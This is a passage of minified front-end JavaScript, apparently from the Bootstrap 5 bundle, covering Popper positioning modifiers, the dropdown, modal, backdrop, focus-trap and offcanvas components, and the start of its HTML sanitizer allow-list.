a.width=a.right-a.left,a.height=a.bottom-a.top,a.x=a.left,a.y=a.top,a}(pe(y)?y:y.contextElement||Le(t.elements.popper),l,h,r),A=Te(t.elements.reference),E=ei({reference:A,element:v,strategy:"absolute",placement:s}),T=Ze(Object.assign({},v,E)),C=u===Jt?T:A,O={top:w.top-C.top+_.top,bottom:C.bottom-w.bottom+_.bottom,left:w.left-C.left+_.left,right:C.right-w.right+_.right},x=t.modifiersData.offset;if(u===Jt&&x){var k=x[s];Object.keys(O).forEach((function(t){var e=[qt,Rt].indexOf(t)>=0?1:-1,i=[zt,Rt].indexOf(t)>=0?"y":"x";O[t]+=k[i]*e}))}return O}function ni(t,e){void 0===e&&(e={});var i=e,n=i.placement,s=i.boundary,o=i.rootBoundary,r=i.padding,a=i.flipVariations,l=i.allowedAutoPlacements,c=void 0===l?ee:l,h=Fe(n),d=h?a?te:te.filter((function(t){return Fe(t)===h})):Qt,u=d.filter((function(t){return c.indexOf(t)>=0}));0===u.length&&(u=d);var f=u.reduce((function(e,i){return e[i]=ii(t,{placement:i,boundary:s,rootBoundary:o,padding:r})[be(i)],e}),{});return Object.keys(f).sort((function(t,e){return f[t]-f[e]}))}const si={name:"flip",enabled:!0,phase:"main",fn:function(t){var e=t.state,i=t.options,n=t.name;if(!e.modifiersData[n]._skip){for(var s=i.mainAxis,o=void 0===s||s,r=i.altAxis,a=void 0===r||r,l=i.fallbackPlacements,c=i.padding,h=i.boundary,d=i.rootBoundary,u=i.altBoundary,f=i.flipVariations,p=void 0===f||f,m=i.allowedAutoPlacements,g=e.options.placement,_=be(g),b=l||(_!==g&&p?function(t){if(be(t)===Kt)return[];var e=Ve(t);return[Qe(t),e,Qe(e)]}(g):[Ve(g)]),v=[g].concat(b).reduce((function(t,i){return t.concat(be(i)===Kt?ni(e,{placement:i,boundary:h,rootBoundary:d,padding:c,flipVariations:p,allowedAutoPlacements:m}):i)}),[]),y=e.rects.reference,w=e.rects.popper,A=new Map,E=!0,T=v[0],C=0;C<v.length;C++){var O=v[C],x=be(O),k=Fe(O)===Xt,L=[zt,Rt].indexOf(x)>=0,S=L?"width":"height",D=ii(e,{placement:O,boundary:h,rootBoundary:d,altBoundary:u,padding:c}),$=L?k?qt:Vt:k?Rt:zt;y[S]>w[S]&&($=Ve($));var I=Ve($),N=[];if(o&&N.push(D[x]<=0),a&&N.push(D[$]<=0,D[I]<=0),N.every((function(t){return t}))){T=O,E=!1;break}A.set(O,N)}if(E)for(var P=function(t){var e=v.find((function(e){var i=A.get(e);if(i)return i.slice(0,t).every((function(t){return t}))}));if(e)return T=e,"break"},j=p?3:1;j>0&&"break"!==P(j);j--);e.placement!==T&&(e.modifiersData[n]._skip=!0,e.placement=T,e.reset=!0)}},requiresIfExists:["offset"],data:{_skip:!1}};function oi(t,e,i){return void 0===i&&(i={x:0,y:0}),{top:t.top-e.height-i.y,right:t.right-e.width+i.x,bottom:t.bottom-e.height+i.y,left:t.left-e.width-i.x}}function ri(t){return[zt,qt,Rt,Vt].some((function(e){return t[e]>=0}))}const ai={name:"hide",enabled:!0,phase:"main",requiresIfExists:["preventOverflow"],fn:function(t){var e=t.state,i=t.name,n=e.rects.reference,s=e.rects.popper,o=e.modifiersData.preventOverflow,r=ii(e,{elementContext:"reference"}),a=ii(e,{altBoundary:!0}),l=oi(r,n),c=oi(a,s,o),h=ri(l),d=ri(c);e.modifiersData[i]={referenceClippingOffsets:l,popperEscapeOffsets:c,isReferenceHidden:h,hasPopperEscaped:d},e.attributes.popper=Object.assign({},e.attributes.popper,{"data-popper-reference-hidden":h,"data-popper-escaped":d})}},li={name:"offset",enabled:!0,phase:"main",requires:["popperOffsets"],fn:function(t){var e=t.state,i=t.options,n=t.name,s=i.offset,o=void 0===s?[0,0]:s,r=ee.reduce((function(t,i){return t[i]=function(t,e,i){var n=be(t),s=[Vt,zt].indexOf(n)>=0?-1:1,o="function"==typeof i?i(Object.assign({},e,{placement:t})):i,r=o[0],a=o[1];return r=r||0,a=(a||0)*s,[Vt,qt].indexOf(n)>=0?{x:a,y:r}:{x:r,y:a}}(i,e.rects,o),t}),{}),a=r[e.placement],l=a.x,c=a.y;null!=e.modifiersData.popperOffsets&&(e.modifiersData.popperOffsets.x+=l,e.modifiersData.popperOffsets.y+=c),e.modifiersData[n]=r}},ci={name:"popperOffsets",enabled:!0,phase:"read",fn:function(t){var e=t.state,i=t.name;e.modifiersData[i]=ei({reference:e.rects.reference,element:e.rects.popper,strategy:"absolute",placement:e.placement})},data:{}},hi={name:"preventOverflow",enabled:!0,phase:"main",fn:function(t){var e=t.state,i=t.options,n=t.name,s=i.mainAxis,o=void 0===s||s,r=i.altAxis,a=void 0!==r&&r,l=i.boundary,c=i.rootBoundary,h=i.altBoundary,d=i.padding,u=i.tether,f=void 0===u||u,p=i.tetherOffset,m=void 0===p?0:p,g=ii(e,{boundary:l,rootBoundary:c,padding:d,altBoundary:h}),_=be(e.placement),b=Fe(e.placement),v=!b,y=Ie(_),w="x"===y?"y":"x",A=e.modifiersData.popperOffsets,E=e.rects.reference,T=e.rects.popper,C="function"==typeof m?m(Object.assign({},e.rects,{placement:e.placement})):m,O="number"==typeof C?{mainAxis:C,altAxis:C}:Object.assign({mainAxis:0,altAxis:0},C),x=e.modifiersData.offset?e.modifiersData.offset[e.placement]:null,k={x:0,y:0};if(A){if(o){var L,S="y"===y?zt:Vt,D="y"===y?Rt:qt,$="y"===y?"height":"width",I=A[y],N=I+g[S],P=I-g[D],j=f?-T[$]/2:0,M=b===Xt?E[$]:T[$],F=b===Xt?-T[$]:-E[$],H=e.elements.arrow,W=f&&H?Ce(H):{width:0,height:0},B=e.modifiersData["arrow#persistent"]?e.modifiersData["arrow#persistent"].padding:{top:0,right:0,bottom:0,left:0},z=B[S],R=B[D],q=Ne(0,E[$],W[$]),V=v?E[$]/2-j-q-z-O.mainAxis:M-q-z-O.mainAxis,K=v?-E[$]/2+j+q+R+O.mainAxis:F+q+R+O.mainAxis,Q=e.elements.arrow&&$e(e.elements.arrow),X=Q?"y"===y?Q.clientTop||0:Q.clientLeft||0:0,Y=null!=(L=null==x?void 0:x[y])?L:0,U=I+K-Y,G=Ne(f?ye(N,I+V-Y-X):N,I,f?ve(P,U):P);A[y]=G,k[y]=G-I}if(a){var J,Z="x"===y?zt:Vt,tt="x"===y?Rt:qt,et=A[w],it="y"===w?"height":"width",nt=et+g[Z],st=et-g[tt],ot=-1!==[zt,Vt].indexOf(_),rt=null!=(J=null==x?void 0:x[w])?J:0,at=ot?nt:et-E[it]-T[it]-rt+O.altAxis,lt=ot?et+E[it]+T[it]-rt-O.altAxis:st,ct=f&&ot?function(t,e,i){var n=Ne(t,e,i);return n>i?i:n}(at,et,lt):Ne(f?at:nt,et,f?lt:st);A[w]=ct,k[w]=ct-et}e.modifiersData[n]=k}},requiresIfExists:["offset"]};function di(t,e,i){void 0===i&&(i=!1);var n,s,o=me(e),r=me(e)&&function(t){var e=t.getBoundingClientRect(),i=we(e.width)/t.offsetWidth||1,n=we(e.height)/t.offsetHeight||1;return 1!==i||1!==n}(e),a=Le(e),l=Te(t,r,i),c={scrollLeft:0,scrollTop:0},h={x:0,y:0};return(o||!o&&!i)&&(("body"!==ue(e)||Ue(a))&&(c=(n=e)!==fe(n)&&me(n)?{scrollLeft:(s=n).scrollLeft,scrollTop:s.scrollTop}:Xe(n)),me(e)?((h=Te(e,!0)).x+=e.clientLeft,h.y+=e.clientTop):a&&(h.x=Ye(a))),{x:l.left+c.scrollLeft-h.x,y:l.top+c.scrollTop-h.y,width:l.width,height:l.height}}function ui(t){var e=new Map,i=new Set,n=[];function s(t){i.add(t.name),[].concat(t.requires||[],t.requiresIfExists||[]).forEach((function(t){if(!i.has(t)){var n=e.get(t);n&&s(n)}})),n.push(t)}return t.forEach((function(t){e.set(t.name,t)})),t.forEach((function(t){i.has(t.name)||s(t)})),n}var fi={placement:"bottom",modifiers:[],strategy:"absolute"};function pi(){for(var t=arguments.length,e=new Array(t),i=0;i<t;i++)e[i]=arguments[i];return!e.some((function(t){return!(t&&"function"==typeof t.getBoundingClientRect)}))}function mi(t){void 0===t&&(t={});var e=t,i=e.defaultModifiers,n=void 0===i?[]:i,s=e.defaultOptions,o=void 0===s?fi:s;return function(t,e,i){void 0===i&&(i=o);var s,r,a={placement:"bottom",orderedModifiers:[],options:Object.assign({},fi,o),modifiersData:{},elements:{reference:t,popper:e},attributes:{},styles:{}},l=[],c=!1,h={state:a,setOptions:function(i){var s="function"==typeof i?i(a.options):i;d(),a.options=Object.assign({},o,a.options,s),a.scrollParents={reference:pe(t)?Je(t):t.contextElement?Je(t.contextElement):[],popper:Je(e)};var r,c,u=function(t){var e=ui(t);return de.reduce((function(t,i){return t.concat(e.filter((function(t){return t.phase===i})))}),[])}((r=[].concat(n,a.options.modifiers),c=r.reduce((function(t,e){var i=t[e.name];return t[e.name]=i?Object.assign({},i,e,{options:Object.assign({},i.options,e.options),data:Object.assign({},i.data,e.data)}):e,t}),{}),Object.keys(c).map((function(t){return c[t]}))));return a.orderedModifiers=u.filter((function(t){return t.enabled})),a.orderedModifiers.forEach((function(t){var e=t.name,i=t.options,n=void 0===i?{}:i,s=t.effect;if("function"==typeof s){var o=s({state:a,name:e,instance:h,options:n});l.push(o||function(){})}})),h.update()},forceUpdate:function(){if(!c){var t=a.elements,e=t.reference,i=t.popper;if(pi(e,i)){a.rects={reference:di(e,$e(i),"fixed"===a.options.strategy),popper:Ce(i)},a.reset=!1,a.placement=a.options.placement,a.orderedModifiers.forEach((function(t){return a.modifiersData[t.name]=Object.assign({},t.data)}));for(var n=0;n<a.orderedModifiers.length;n++)if(!0!==a.reset){var s=a.orderedModifiers[n],o=s.fn,r=s.options,l=void 0===r?{}:r,d=s.name;"function"==typeof o&&(a=o({state:a,options:l,name:d,instance:h})||a)}else a.reset=!1,n=-1}}},update:(s=function(){return new Promise((function(t){h.forceUpdate(),t(a)}))},function(){return r||(r=new Promise((function(t){Promise.resolve().then((function(){r=void 0,t(s())}))}))),r}),destroy:function(){d(),c=!0}};if(!pi(t,e))return h;function d(){l.forEach((function(t){return t()})),l=[]}return h.setOptions(i).then((function(t){!c&&i.onFirstUpdate&&i.onFirstUpdate(t)})),h}}var gi=mi(),_i=mi({defaultModifiers:[Re,ci,Be,_e]}),bi=mi({defaultModifiers:[Re,ci,Be,_e,li,si,hi,Me,ai]});const vi=Object.freeze(Object.defineProperty({__proto__:null,afterMain:ae,afterRead:se,afterWrite:he,applyStyles:_e,arrow:Me,auto:Kt,basePlacements:Qt,beforeMain:oe,beforeRead:ie,beforeWrite:le,bottom:Rt,clippingParents:Ut,computeStyles:Be,createPopper:bi,createPopperBase:gi,createPopperLite:_i,detectOverflow:ii,end:Yt,eventListeners:Re,flip:si,hide:ai,left:Vt,main:re,modifierPhases:de,offset:li,placements:ee,popper:Jt,popperGenerator:mi,popperOffsets:ci,preventOverflow:hi,read:ne,reference:Zt,right:qt,start:Xt,top:zt,variationPlacements:te,viewport:Gt,write:ce},Symbol.toStringTag,{value:"Module"})),yi="dropdown",wi=".bs.dropdown",Ai=".data-api",Ei="ArrowUp",Ti="ArrowDown",Ci=`hide${wi}`,Oi=`hidden${wi}`,xi=`show${wi}`,ki=`shown${wi}`,Li=`click${wi}${Ai}`,Si=`keydown${wi}${Ai}`,Di=`keyup${wi}${Ai}`,$i="show",Ii='[data-bs-toggle="dropdown"]:not(.disabled):not(:disabled)',Ni=`${Ii}.${$i}`,Pi=".dropdown-menu",ji=p()?"top-end":"top-start",Mi=p()?"top-start":"top-end",Fi=p()?"bottom-end":"bottom-start",Hi=p()?"bottom-start":"bottom-end",Wi=p()?"left-start":"right-start",Bi=p()?"right-start":"left-start",zi={autoClose:!0,boundary:"clippingParents",display:"dynamic",offset:[0,2],popperConfig:null,reference:"toggle"},Ri={autoClose:"(boolean|string)",boundary:"(string|element)",display:"string",offset:"(array|string|function)",popperConfig:"(null|object|function)",reference:"(string|element|object)"};class qi extends W{constructor(t,e){super(t,e),this._popper=null,this._parent=this._element.parentNode,this._menu=z.next(this._element,Pi)[0]||z.prev(this._element,Pi)[0]||z.findOne(Pi,this._parent),this._inNavbar=this._detectNavbar()}static get Default(){return zi}static get DefaultType(){return Ri}static get NAME(){return yi}toggle(){return this._isShown()?this.hide():this.show()}show(){if(l(this._element)||this._isShown())return;const t={relatedTarget:this._element};if(!N.trigger(this._element,xi,t).defaultPrevented){if(this._createPopper(),"ontouchstart"in document.documentElement&&!this._parent.closest(".navbar-nav"))for(const t of[].concat(...document.body.children))N.on(t,"mouseover",h);this._element.focus(),this._element.setAttribute("aria-expanded",!0),this._menu.classList.add($i),this._element.classList.add($i),N.trigger(this._element,ki,t)}}hide(){if(l(this._element)||!this._isShown())return;const t={relatedTarget:this._element};this._completeHide(t)}dispose(){this._popper&&this._popper.destroy(),super.dispose()}update(){this._inNavbar=this._detectNavbar(),this._popper&&this._popper.update()}_completeHide(t){if(!N.trigger(this._element,Ci,t).defaultPrevented){if("ontouchstart"in document.documentElement)for(const t of[].concat(...document.body.children))N.off(t,"mouseover",h);this._popper&&this._popper.destroy(),this._menu.classList.remove($i),this._element.classList.remove($i),this._element.setAttribute("aria-expanded","false"),F.removeDataAttribute(this._menu,"popper"),N.trigger(this._element,Oi,t)}}_getConfig(t){if("object"==typeof(t=super._getConfig(t)).reference&&!o(t.reference)&&"function"!=typeof t.reference.getBoundingClientRect)throw new TypeError(`${yi.toUpperCase()}: Option "reference" provided type "object" without a required "getBoundingClientRect" method.`);return t}_createPopper(){if(void 0===vi)throw new TypeError("Bootstrap's dropdowns require Popper (https://popper.js.org)");let t=this._element;"parent"===this._config.reference?t=this._parent:o(this._config.reference)?t=r(this._config.reference):"object"==typeof this._config.reference&&(t=this._config.reference);const e=this._getPopperConfig();this._popper=bi(t,this._menu,e)}_isShown(){return this._menu.classList.contains($i)}_getPlacement(){const t=this._parent;if(t.classList.contains("dropend"))return Wi;if(t.classList.contains("dropstart"))return Bi;if(t.classList.contains("dropup-center"))return"top";if(t.classList.contains("dropdown-center"))return"bottom";const e="end"===getComputedStyle(this._menu).getPropertyValue("--bs-position").trim();return t.classList.contains("dropup")?e?Mi:ji:e?Hi:Fi}_detectNavbar(){return null!==this._element.closest(".navbar")}_getOffset(){const{offset:t}=this._config;return"string"==typeof t?t.split(",").map((t=>Number.parseInt(t,10))):"function"==typeof t?e=>t(e,this._element):t}_getPopperConfig(){const t={placement:this._getPlacement(),modifiers:[{name:"preventOverflow",options:{boundary:this._config.boundary}},{name:"offset",options:{offset:this._getOffset()}}]};return(this._inNavbar||"static"===this._config.display)&&(F.setDataAttribute(this._menu,"popper","static"),t.modifiers=[{name:"applyStyles",enabled:!1}]),{...t,...g(this._config.popperConfig,[t])}}_selectMenuItem({key:t,target:e}){const i=z.find(".dropdown-menu .dropdown-item:not(.disabled):not(:disabled)",this._menu).filter((t=>a(t)));i.length&&b(i,e,t===Ti,!i.includes(e)).focus()}static jQueryInterface(t){return this.each((function(){const e=qi.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t]()}}))}static clearMenus(t){if(2===t.button||"keyup"===t.type&&"Tab"!==t.key)return;const e=z.find(Ni);for(const i of e){const e=qi.getInstance(i);if(!e||!1===e._config.autoClose)continue;const n=t.composedPath(),s=n.includes(e._menu);if(n.includes(e._element)||"inside"===e._config.autoClose&&!s||"outside"===e._config.autoClose&&s)continue;if(e._menu.contains(t.target)&&("keyup"===t.type&&"Tab"===t.key||/input|select|option|textarea|form/i.test(t.target.tagName)))continue;const o={relatedTarget:e._element};"click"===t.type&&(o.clickEvent=t),e._completeHide(o)}}static dataApiKeydownHandler(t){const e=/input|textarea/i.test(t.target.tagName),i="Escape"===t.key,n=[Ei,Ti].includes(t.key);if(!n&&!i)return;if(e&&!i)return;t.preventDefault();const s=this.matches(Ii)?this:z.prev(this,Ii)[0]||z.next(this,Ii)[0]||z.findOne(Ii,t.delegateTarget.parentNode),o=qi.getOrCreateInstance(s);if(n)return t.stopPropagation(),o.show(),void o._selectMenuItem(t);o._isShown()&&(t.stopPropagation(),o.hide(),s.focus())}}N.on(document,Si,Ii,qi.dataApiKeydownHandler),N.on(document,Si,Pi,qi.dataApiKeydownHandler),N.on(document,Li,qi.clearMenus),N.on(document,Di,qi.clearMenus),N.on(document,Li,Ii,(function(t){t.preventDefault(),qi.getOrCreateInstance(this).toggle()})),m(qi);const Vi="backdrop",Ki="show",Qi=`mousedown.bs.${Vi}`,Xi={className:"modal-backdrop",clickCallback:null,isAnimated:!1,isVisible:!0,rootElement:"body"},Yi={className:"string",clickCallback:"(function|null)",isAnimated:"boolean",isVisible:"boolean",rootElement:"(element|string)"};class Ui extends H{constructor(t){super(),this._config=this._getConfig(t),this._isAppended=!1,this._element=null}static get Default(){return Xi}static get DefaultType(){return Yi}static get NAME(){return Vi}show(t){if(!this._config.isVisible)return void g(t);this._append();const e=this._getElement();this._config.isAnimated&&d(e),e.classList.add(Ki),this._emulateAnimation((()=>{g(t)}))}hide(t){this._config.isVisible?(this._getElement().classList.remove(Ki),this._emulateAnimation((()=>{this.dispose(),g(t)}))):g(t)}dispose(){this._isAppended&&(N.off(this._element,Qi),this._element.remove(),this._isAppended=!1)}_getElement(){if(!this._element){const t=document.createElement("div");t.className=this._config.className,this._config.isAnimated&&t.classList.add("fade"),this._element=t}return this._element}_configAfterMerge(t){return t.rootElement=r(t.rootElement),t}_append(){if(this._isAppended)return;const t=this._getElement();this._config.rootElement.append(t),N.on(t,Qi,(()=>{g(this._config.clickCallback)})),this._isAppended=!0}_emulateAnimation(t){_(t,this._getElement(),this._config.isAnimated)}}const Gi=".bs.focustrap",Ji=`focusin${Gi}`,Zi=`keydown.tab${Gi}`,tn="backward",en={autofocus:!0,trapElement:null},nn={autofocus:"boolean",trapElement:"element"};class sn extends H{constructor(t){super(),this._config=this._getConfig(t),this._isActive=!1,this._lastTabNavDirection=null}static get Default(){return en}static get DefaultType(){return nn}static get NAME(){return"focustrap"}activate(){this._isActive||(this._config.autofocus&&this._config.trapElement.focus(),N.off(document,Gi),N.on(document,Ji,(t=>this._handleFocusin(t))),N.on(document,Zi,(t=>this._handleKeydown(t))),this._isActive=!0)}deactivate(){this._isActive&&(this._isActive=!1,N.off(document,Gi))}_handleFocusin(t){const{trapElement:e}=this._config;if(t.target===document||t.target===e||e.contains(t.target))return;const i=z.focusableChildren(e);0===i.length?e.focus():this._lastTabNavDirection===tn?i[i.length-1].focus():i[0].focus()}_handleKeydown(t){"Tab"===t.key&&(this._lastTabNavDirection=t.shiftKey?tn:"forward")}}const on=".fixed-top, .fixed-bottom, .is-fixed, .sticky-top",rn=".sticky-top",an="padding-right",ln="margin-right";class cn{constructor(){this._element=document.body}getWidth(){const t=document.documentElement.clientWidth;return Math.abs(window.innerWidth-t)}hide(){const t=this.getWidth();this._disableOverFlow(),this._setElementAttributes(this._element,an,(e=>e+t)),this._setElementAttributes(on,an,(e=>e+t)),this._setElementAttributes(rn,ln,(e=>e-t))}reset(){this._resetElementAttributes(this._element,"overflow"),this._resetElementAttributes(this._element,an),this._resetElementAttributes(on,an),this._resetElementAttributes(rn,ln)}isOverflowing(){return this.getWidth()>0}_disableOverFlow(){this._saveInitialAttribute(this._element,"overflow"),this._element.style.overflow="hidden"}_setElementAttributes(t,e,i){const n=this.getWidth();this._applyManipulationCallback(t,(t=>{if(t!==this._element&&window.innerWidth>t.clientWidth+n)return;this._saveInitialAttribute(t,e);const s=window.getComputedStyle(t).getPropertyValue(e);t.style.setProperty(e,`${i(Number.parseFloat(s))}px`)}))}_saveInitialAttribute(t,e){const i=t.style.getPropertyValue(e);i&&F.setDataAttribute(t,e,i)}_resetElementAttributes(t,e){this._applyManipulationCallback(t,(t=>{const i=F.getDataAttribute(t,e);null!==i?(F.removeDataAttribute(t,e),t.style.setProperty(e,i)):t.style.removeProperty(e)}))}_applyManipulationCallback(t,e){if(o(t))e(t);else for(const i of z.find(t,this._element))e(i)}}const hn=".bs.modal",dn=`hide${hn}`,un=`hidePrevented${hn}`,fn=`hidden${hn}`,pn=`show${hn}`,mn=`shown${hn}`,gn=`resize${hn}`,_n=`click.dismiss${hn}`,bn=`mousedown.dismiss${hn}`,vn=`keydown.dismiss${hn}`,yn=`click${hn}.data-api`,wn="modal-open",An="show",En="modal-static",Tn={backdrop:!0,focus:!0,keyboard:!0},Cn={backdrop:"(boolean|string)",focus:"boolean",keyboard:"boolean"};class On extends W{constructor(t,e){super(t,e),this._dialog=z.findOne(".modal-dialog",this._element),this._backdrop=this._initializeBackDrop(),this._focustrap=this._initializeFocusTrap(),this._isShown=!1,this._isTransitioning=!1,this._scrollBar=new cn,this._addEventListeners()}static get Default(){return Tn}static get DefaultType(){return Cn}static get NAME(){return"modal"}toggle(t){return this._isShown?this.hide():this.show(t)}show(t){this._isShown||this._isTransitioning||N.trigger(this._element,pn,{relatedTarget:t}).defaultPrevented||(this._isShown=!0,this._isTransitioning=!0,this._scrollBar.hide(),document.body.classList.add(wn),this._adjustDialog(),this._backdrop.show((()=>this._showElement(t))))}hide(){this._isShown&&!this._isTransitioning&&(N.trigger(this._element,dn).defaultPrevented||(this._isShown=!1,this._isTransitioning=!0,this._focustrap.deactivate(),this._element.classList.remove(An),this._queueCallback((()=>this._hideModal()),this._element,this._isAnimated())))}dispose(){N.off(window,hn),N.off(this._dialog,hn),this._backdrop.dispose(),this._focustrap.deactivate(),super.dispose()}handleUpdate(){this._adjustDialog()}_initializeBackDrop(){return new Ui({isVisible:Boolean(this._config.backdrop),isAnimated:this._isAnimated()})}_initializeFocusTrap(){return new sn({trapElement:this._element})}_showElement(t){document.body.contains(this._element)||document.body.append(this._element),this._element.style.display="block",this._element.removeAttribute("aria-hidden"),this._element.setAttribute("aria-modal",!0),this._element.setAttribute("role","dialog"),this._element.scrollTop=0;const e=z.findOne(".modal-body",this._dialog);e&&(e.scrollTop=0),d(this._element),this._element.classList.add(An),this._queueCallback((()=>{this._config.focus&&this._focustrap.activate(),this._isTransitioning=!1,N.trigger(this._element,mn,{relatedTarget:t})}),this._dialog,this._isAnimated())}_addEventListeners(){N.on(this._element,vn,(t=>{"Escape"===t.key&&(this._config.keyboard?this.hide():this._triggerBackdropTransition())})),N.on(window,gn,(()=>{this._isShown&&!this._isTransitioning&&this._adjustDialog()})),N.on(this._element,bn,(t=>{N.one(this._element,_n,(e=>{this._element===t.target&&this._element===e.target&&("static"!==this._config.backdrop?this._config.backdrop&&this.hide():this._triggerBackdropTransition())}))}))}_hideModal(){this._element.style.display="none",this._element.setAttribute("aria-hidden",!0),this._element.removeAttribute("aria-modal"),this._element.removeAttribute("role"),this._isTransitioning=!1,this._backdrop.hide((()=>{document.body.classList.remove(wn),this._resetAdjustments(),this._scrollBar.reset(),N.trigger(this._element,fn)}))}_isAnimated(){return this._element.classList.contains("fade")}_triggerBackdropTransition(){if(N.trigger(this._element,un).defaultPrevented)return;const t=this._element.scrollHeight>document.documentElement.clientHeight,e=this._element.style.overflowY;"hidden"===e||this._element.classList.contains(En)||(t||(this._element.style.overflowY="hidden"),this._element.classList.add(En),this._queueCallback((()=>{this._element.classList.remove(En),this._queueCallback((()=>{this._element.style.overflowY=e}),this._dialog)}),this._dialog),this._element.focus())}_adjustDialog(){const t=this._element.scrollHeight>document.documentElement.clientHeight,e=this._scrollBar.getWidth(),i=e>0;if(i&&!t){const t=p()?"paddingLeft":"paddingRight";this._element.style[t]=`${e}px`}if(!i&&t){const t=p()?"paddingRight":"paddingLeft";this._element.style[t]=`${e}px`}}_resetAdjustments(){this._element.style.paddingLeft="",this._element.style.paddingRight=""}static jQueryInterface(t,e){return this.each((function(){const i=On.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===i[t])throw new TypeError(`No method named "${t}"`);i[t](e)}}))}}N.on(document,yn,'[data-bs-toggle="modal"]',(function(t){const e=z.getElementFromSelector(this);["A","AREA"].includes(this.tagName)&&t.preventDefault(),N.one(e,pn,(t=>{t.defaultPrevented||N.one(e,fn,(()=>{a(this)&&this.focus()}))}));const i=z.findOne(".modal.show");i&&On.getInstance(i).hide(),On.getOrCreateInstance(e).toggle(this)})),R(On),m(On);const xn=".bs.offcanvas",kn=".data-api",Ln=`load${xn}${kn}`,Sn="show",Dn="showing",$n="hiding",In=".offcanvas.show",Nn=`show${xn}`,Pn=`shown${xn}`,jn=`hide${xn}`,Mn=`hidePrevented${xn}`,Fn=`hidden${xn}`,Hn=`resize${xn}`,Wn=`click${xn}${kn}`,Bn=`keydown.dismiss${xn}`,zn={backdrop:!0,keyboard:!0,scroll:!1},Rn={backdrop:"(boolean|string)",keyboard:"boolean",scroll:"boolean"};class qn extends W{constructor(t,e){super(t,e),this._isShown=!1,this._backdrop=this._initializeBackDrop(),this._focustrap=this._initializeFocusTrap(),this._addEventListeners()}static get Default(){return zn}static get DefaultType(){return Rn}static get NAME(){return"offcanvas"}toggle(t){return this._isShown?this.hide():this.show(t)}show(t){this._isShown||N.trigger(this._element,Nn,{relatedTarget:t}).defaultPrevented||(this._isShown=!0,this._backdrop.show(),this._config.scroll||(new cn).hide(),this._element.setAttribute("aria-modal",!0),this._element.setAttribute("role","dialog"),this._element.classList.add(Dn),this._queueCallback((()=>{this._config.scroll&&!this._config.backdrop||this._focustrap.activate(),this._element.classList.add(Sn),this._element.classList.remove(Dn),N.trigger(this._element,Pn,{relatedTarget:t})}),this._element,!0))}hide(){this._isShown&&(N.trigger(this._element,jn).defaultPrevented||(this._focustrap.deactivate(),this._element.blur(),this._isShown=!1,this._element.classList.add($n),this._backdrop.hide(),this._queueCallback((()=>{this._element.classList.remove(Sn,$n),this._element.removeAttribute("aria-modal"),this._element.removeAttribute("role"),this._config.scroll||(new cn).reset(),N.trigger(this._element,Fn)}),this._element,!0)))}dispose(){this._backdrop.dispose(),this._focustrap.deactivate(),super.dispose()}_initializeBackDrop(){const t=Boolean(this._config.backdrop);return new Ui({className:"offcanvas-backdrop",isVisible:t,isAnimated:!0,rootElement:this._element.parentNode,clickCallback:t?()=>{"static"!==this._config.backdrop?this.hide():N.trigger(this._element,Mn)}:null})}_initializeFocusTrap(){return new sn({trapElement:this._element})}_addEventListeners(){N.on(this._element,Bn,(t=>{"Escape"===t.key&&(this._config.keyboard?this.hide():N.trigger(this._element,Mn))}))}static jQueryInterface(t){return this.each((function(){const e=qn.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t]||t.startsWith("_")||"constructor"===t)throw new TypeError(`No method named "${t}"`);e[t](this)}}))}}N.on(document,Wn,'[data-bs-toggle="offcanvas"]',(function(t){const e=z.getElementFromSelector(this);if(["A","AREA"].includes(this.tagName)&&t.preventDefault(),l(this))return;N.one(e,Fn,(()=>{a(this)&&this.focus()}));const i=z.findOne(In);i&&i!==e&&qn.getInstance(i).hide(),qn.getOrCreateInstance(e).toggle(this)})),N.on(window,Ln,(()=>{for(const t of z.find(In))qn.getOrCreateInstance(t).show()})),N.on(window,Hn,(()=>{for(const t of z.find("[aria-modal][class*=show][class*=offcanvas-]"))"fixed"!==getComputedStyle(t).position&&qn.getOrCreateInstance(t).hide()})),R(qn),m(qn);const Vn={"*":["class","dir","id","lang","role",/^aria-[\w-]*$/i],a:["target","href","title","rel"],area:[],b:[],br:[],col:[],code:[],dd:[],div:[],dl:[],dt:[],em:[],hr:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],i:[],img:["src","srcset","alt","title","width","height"],li:[],ol:[],p:[],pre:[],s:[],small:[],span:[],sub:[],sup:[],strong:[],u:[],ul:[]},Kn=new Set(["background","cite","href","itemtype","longdesc","poster","src","xlink:href"]),Qn=/^(?!javascript:)(?:[a-z0-9+.-]+:|[^&:/?#]*(?:[/?#]|$))/i,Xn=(t,e)=>{const i=t.nodeName.toLowerCase();return e.includes(i)?!Kn.has(i)||Boolean(Qn.test(t.nodeValue)):e.filter((t=>t instanceof RegExp)).some((t=>t.test(i)))},Yn={allowList:Vn,content:{},extraClass:"",html:!1,sanitize:!0,sanitizeFn:null,template:"<div></div>"},Un={allowList:"object",content:"object",extraClass:"(string|function)",html:"boolean",sanitize:"boolean",sanitizeFn:"(null|function)",template:"string"},Gn={entry:"(string|element|function|null)",selector:"(string|element)"};class Jn extends H{constructor(t){super(),this._config=this._getConfig(t)}static get Default(){return Yn}static get DefaultType(){return Un}static get NAME(){return"TemplateFactory"}getContent(){return Object.values(this._config.content).map((t=>this._resolvePossibleFunction(t))).filter(Boolean)}hasContent(){return this.getContent().length>0}changeContent(t){return this._checkContent(t),this._config.content={...this._config.content,...t},this}toHtml(){const t=document.createElement("div");t.innerHTML=this._maybeSanitize(this._config.template);for(const[e,i]of Object.entries(this._config.content))this._setContent(t,i,e);const e=t.children[0],i=this._resolvePossibleFunction(this._config.extraClass);return i&&e.classList.add(...i.split(" ")),e}_typeCheckConfig(t){super._typeCheckConfig(t),this._checkContent(t.content)}_checkContent(t){for(const[e,i]of Object.entries(t))super._typeCheckConfig({selector:e,entry:i},Gn)}_setContent(t,e,i){const n=z.findOne(i,t);n&&((e=this._resolvePossibleFunction(e))?o(e)?this._putElementInTemplate(r(e),n):this._config.html?n.innerHTML=this._maybeSanitize(e):n.textContent=e:n.remove())}_maybeSanitize(t){return this._config.sanitize?function(t,e,i){if(!t.length)return t;if(i&&"function"==typeof i)return i(t);const n=(new window.DOMParser).parseFromString(t,"text/html"),s=[].concat(...n.body.querySelectorAll("*"));for(const t of s){const i=t.nodeName.toLowerCase();if(!Object.keys(e).includes(i)){t.remove();continue}const n=[].concat(...t.attributes),s=[].concat(e["*"]||[],e[i]||[]);for(const e of 